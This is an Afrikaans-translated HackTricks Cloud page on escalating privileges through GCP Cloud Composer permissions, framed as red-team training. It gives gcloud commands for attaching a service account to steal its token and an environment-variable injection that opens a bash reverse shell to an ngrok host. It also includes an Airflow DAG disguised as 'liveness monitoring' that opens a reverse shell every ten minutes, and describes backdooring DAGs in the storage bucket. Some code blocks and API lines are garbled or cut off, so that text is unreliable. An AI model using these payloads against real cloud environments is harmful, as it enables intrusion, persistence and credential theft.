GCP - Composer Privesc
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
composer
Meer inligting in:
composer.environments.create
Dit is moontlik om met daardie toestemming enige service account aan die nuut geskepte composer-omgewing te koppel. Later kan jy kode binne composer uitvoer om die service account token te steel.
Skep Composer-omgewing met aangehegte service account
```bash gcloud composer environments create privesc-test \ --project "${PROJECT_ID}" \ --location europe-west1 \ --service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" ```Meer inligting oor die uitbuiting here.
composer.environments.update
Dit is moontlik om die composer environment op te dateer, byvoorbeeld deur env variables te wysig:
Opdateer Composer environment variables vir code execution
```bash # Even if it says you don't have enough permissions the update happens gcloud composer environments update \ projects/Call the API endpoint directly
PATCH /v1/projects/
{âconfigâ: {âsoftwareConfigâ: {âenvVariablesâ: {âBROWSERâ: â/bin/bash -c âbash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1â & #%sâ, âPYTHONWARNINGSâ: âall:0:antigravity.x:0:0â}}}}
</details>
TODO: Kry RCE deur nuwe pypi-pakkette by die omgewing te voeg
### Laai DAGs af
Kontroleer die bronkode van die DAGs wat uitgevoer word:
<details><summary>Eksporteer en laai DAGs uit die Composer-omgewing af</summary>
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
Importeer Dags
Voeg die python DAG-kode in ân lĂȘer en importeer dit deur die volgende uit te voer:
Importeer kwaadaardige DAG in Composer-omgewing
```bash # TODO: Create dag to get a rev shell gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py ```Reverse shell DAG:
Python DAG code for reverse shell
```python import airflow from airflow import DAG from airflow.operators.bash_operator import BashOperator from datetime import timedeltadefault_args = { âstart_dateâ: airflow.utils.dates.days_ago(0), âretriesâ: 1, âretry_delayâ: timedelta(minutes=5) }
dag = DAG( âreverse_shellâ, default_args=default_args, description=âliveness monitoring dagâ, schedule_interval=â*/10 * * * *â, max_active_runs=1, catchup=False, dagrun_timeout=timedelta(minutes=10), )
priority_weight has type int in Airflow DB, uses the maximum.
t1 = BashOperator( task_id=âbash_revâ, bash_command=âbash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1â, dag=dag, depends_on_past=False, priority_weight=2**31 - 1, do_xcom_push=False)
</details>
### Write Access to the Composer bucket
Al die komponente van 'n Composer-omgewing (DAGs, plugins en data) word in 'n GCP bucket gestoor. Indien die aanvaller lees- en skryfpermisies daarop het, kan hy die bucket monitor en **sodra 'n DAG geskep of opgedateer word, 'n backdoored weergawe indien** sodat die Composer-omgewing vanaf die storage die backdoored weergawe sal kry.
Kry meer inligting oor hierdie aanval in:
<a class="content_ref" href="gcp-storage-privesc.md"><span class="content_ref_label">GCP - Storage Privesc</span></a>
### Import Plugins
TODO: Kontroleer wat moontlik gekompromitteer kan word deur plugins op te laai
### Import Data
TODO: Kontroleer wat moontlik gekompromitteer kan word deur data op te laai
> [!TIP]
> Leer & oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer & oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer & oefen Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking tricks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

